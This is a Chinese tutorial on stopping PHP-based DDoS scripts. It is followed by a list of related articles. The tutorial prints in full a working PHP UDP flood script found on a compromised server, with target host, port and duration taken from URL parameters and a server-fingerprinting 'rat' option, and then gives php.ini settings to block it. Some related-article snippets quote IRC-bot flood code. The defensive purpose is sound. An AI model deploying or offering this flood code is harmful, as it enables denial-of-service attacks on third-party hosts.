php的ddos攻击解决方法

本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.

先看源码,代码如下:

代码如下:

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
 
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
 
$max_time = time()+$exec_time;
 
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
 
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

关键代码在于如下:


代码如下:

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.

这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.

php.ini里设置,代码如下:

代码如下:

allow_url_fopen = Off

如果这样他还是能发包,代码如下:

extension=php_sockets.dll

改成

;extension=php_sockets.dll

重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.

另外有网友说,让脚本不允许设置为不超时很简单:

1. 把set_time_limit函数禁用

2. 启用PHP的安全模式(safe_mode=on).

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.

希望本文所述对大家的php程序设计有所帮助。

(0)

相关推荐

  • 浅析PHP程序防止ddos,dns,集群服务器攻击的解决办法

    废话不多说,上代码 复制代码 代码如下: <?php//查询禁止IP$ip =$_SERVER['REMOTE_ADDR'];$fileht=".htaccess2";if(!file_exists($fileht)) file_put_contents($fileht,"");$filehtarr=@file($fileht);if(in_array($ip."\r\n",$filehtarr)) die("Warning:&q

  • PHP利用hash冲突漏洞进行DDoS攻击的方法分析

    本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法.分享给大家供大家参考.具体分析如下: 首先声明:本文内容只用于研究学习使用,请勿用于非法行为! 前面提到过最近爆出的hash表碰撞漏洞,包括java.python.php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力. 攻击原理: 通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽. 不用什么花哨的手法,就用PHP简单实现

  • php的hash算法介绍

    Hash Table是PHP的核心,这话一点都不过分. PHP的数组,关联数组,对象属性,函数表,符号表,等等都是用HashTable来做为容器的. PHP的HashTable采用的拉链法来解决冲突, 这个自不用多说, 我今天主要关注的就是PHP的Hash算法, 和这个算法本身透露出来的一些思想. PHP的Hash采用的是目前最为普遍的DJBX33A (Daniel J. Bernstein, Times 33 with Addition), 这个算法被广泛运用与多个软件项目,Apache, P

  • php常用hash加密函数

    本文实例讲述了php常用hash加密函数.分享给大家供大家参考.具体分析如下: 复制代码 代码如下: $hash_list=hash_algos();  //返回注册的hash规则列表 print_r($hash_list); //显示结果 创建文件以计算哈希值:file_put_contents('example.txt', 'the quick brown fox jumped over the lazy dog.'); 输出哈希值信息: 复制代码 代码如下: echo hash_file(

  • PHP的password_hash()使用实例

    一.前言PHP5.5提供了许多新特性及Api函数,其中之一就是Password Hashing API(创建和校验哈希密码).它包含4个函数:password_get_info().password_hash().password_needs_rehash().password_verify().在PHP5.5之前,我们对于密码的加密可能更多的是采用md5或sha1之类的加密方式(没人像CSDN那样存明文吧..),如:echo md5("123456"); //输出: e10adc39

  • PHP中对各种加密算法、Hash算法的速度测试对比代码

    PHP 的Hash算法是比较常用的,现在的MD5有时候不太安全,就得用到Hash_algos()中的其它算法,下面进行了一个性能的比较. php代码: define('testtime', 50000); $algos = hash_algos(); foreach($algos as $algo) { $st = microtime(); for($i = 0; $i < testtime; $i++) { hash($algo, microtime().$i); } $et = microt

  • 预防PHPDDOS的发包攻击别人的方法(iis+linux)

    说下防止PHPDDOS发包的方法 复制代码 代码如下: if (eregi("ddos-udp",$read)) { fputs($verbinden,"privmsg $Channel :ddos-udp – started udp flood – $read2[4]\n\n"); $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); if (!$fp) { $fp = fs

  • php的ddos攻击解决方法

    本文实例讲述了php的ddos攻击解决方法.分享给大家供大家参考.具体分析如下: 今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了. 先看源码,代码如下: 复制代码 代码如下: <?php set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $Sendlen

  • 使用Nginx、Nginx Plus抵御DDOS攻击的方法

    DDOS 是一种通过大流量的请求对目标进行轰炸式访问,导致提供服务的服务器资源耗尽进而无法继续提供服务的攻击手段. 一般情况下,攻击者通过大量请求与连接使服务器处于饱和状态,以至于无法接受新的请求或变得很慢. 一.应用层DDOS攻击的特征 应用层(七层/HTTP层)DDOS 攻击通常由木马程序发起,其可以通过设计更好的利用目标系统的脆弱点.例如,对于无法处理大量并发请求的系统,仅仅通过建立大量的连接,并周期性的发出少量数据包来保持会话就可以耗尽系统的资源,使其无法接受新的连接请求达到 DDOS

  • 私服有效防DDOS攻击的方法

    首先声明.这样设置后,可以防止DDOS,也可以防止70%的SYN半连接攻击| 首先对你机器做以下的设置 !用本地安全策略封掉所有不属于传奇开放端口,封的方法见网络上,很多,就是封3000的办法 ! 你传奇服务器内部可以访问,.但不对外,然后打开 7000. 7100 7200 端口 ! (记得不要封掉)然后去下载个硬件防火墙软件模拟工具 ! (哈哈,有这个吗 ?)名字叫MapPort 端口影射工具 !打开,输入第一组隐射组7000 - > 30000(LoginGate)7100 - > 31

  • 利用Shell 脚本解决DDOS攻击问题

    思路:主要利用 awk ,if结构,sort,uniq #!/bin/bash FilePath="access.log" awk '{print $1}' $FilePath | sort -rn | uniq -c >ip_count.log cat ip_count.log | while read text ####读取文件内容,以行为单位 do echo $text count=`echo $text | awk '{print $1}' ` ip=`echo $tex

  • Nginx防御DDOS攻击的配置方法教程

    前言 Nginx是一款轻量级的Web服务器,由俄罗斯的程序设计师Igor Sysoev所开发,最初供俄国大型的入口网站及搜寻引Rambler使用. 其特点是占有内存少,并发能力强,事实上Nginx的并发能力确实在同类型的网站服务器中表现较好. 防御DDOS是一个系统工程,攻击花样多,防御的成本高瓶颈多,防御起来即被动又无奈.DDOS的 特点是分布式,针对带宽和服务攻击,也就是四层流量攻击和七层应用攻击,相应的防御瓶颈四层在带宽,七层的多在架构的吞吐量.对于七层的应用攻击,我们还 是可以做一些配置

  • Serv-U防溢出提权攻击解决设置方法

    前言: 大家应该都还没有忘记三年前在Serv-U5.004版的之前所有版本的"Serv-U FTPMDTM命令缓冲区溢出"与"Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞"吧,这个漏洞让很多服务器管理员立坐不安,也让很多大型的站点.甚至电信级的服务器沦陷了...随着Serv-U新版本的推出,这个漏同已经不存在了:虽然溢出不存在了,但黑客永远也没有停止,所以伴随着来的又是Serv-U5.0到6.0之黑客常用的本地提升权限缺陷.(注:最常见的就如

  • Windows服务器应对高并发和DDOS攻击的配置方法

    windows系统本身就有很多机制可以用来提高性能和安全,其中有不少可以用来应对高并发请求和DDOS攻击的情况. 通过以下配置可以改善windows服务器性能: 一.应对高并发请求: 1.TCP连接延迟等待时间 TcpTimedWaitDelay: 这是设定TCP/IP 可释放已关闭连接并重用其资源前,必须经过的时间.关闭和释放之间的此时间间隔通称 TIME_WAIT状态或两倍最大段生命周期(2MSL)状态.在此时间内,重新打开到客户机和服务器的连接的成本少于建立新连接.减少此条目的值允许 TC

  • 服务器的ARP欺骗攻击的防范的两种解决方法

    服务器的ARP欺骗攻击的防范          这些天我的服务器几乎天天都被人ARP欺骗攻击,网页被挂木马,实在烦死了,深圳的龙岗电信机房实在是够恶心的,不得已,我只好寻找一些防范ARP攻击的方法,目前发现可以使用静态地址法和使用专用软件的方法来防范ARP欺骗攻击. 静态地址法指的是,在本地服务器上,将路由器的MAC地址设置为静态的方式来阻止别人对我的ARP攻击,如果你也越到了类似的ARP欺骗攻击,也可以参考这个方法进行设置. 首先,找到路由器真实的MAC地址,在没有被攻击的条件下,输入命令ar

  • PHP实现恶意DDOS攻击避免带宽占用问题方法

    使用PHP代码实现的DDOS攻击会导致带宽被占用,变成卡B. 处理办法是: 修改php.ini文件 1) "disable_functions"改成gzinflate,默认是放空 2) "allow_url_fopen"设为Off 3) php_sockets.dll 把这个模块打开 重启下服务,一般可以抵御掉DDOS攻击. 实在还不行的话,通过IP策略.防火墙等手段阻止恶意攻击.

随机推荐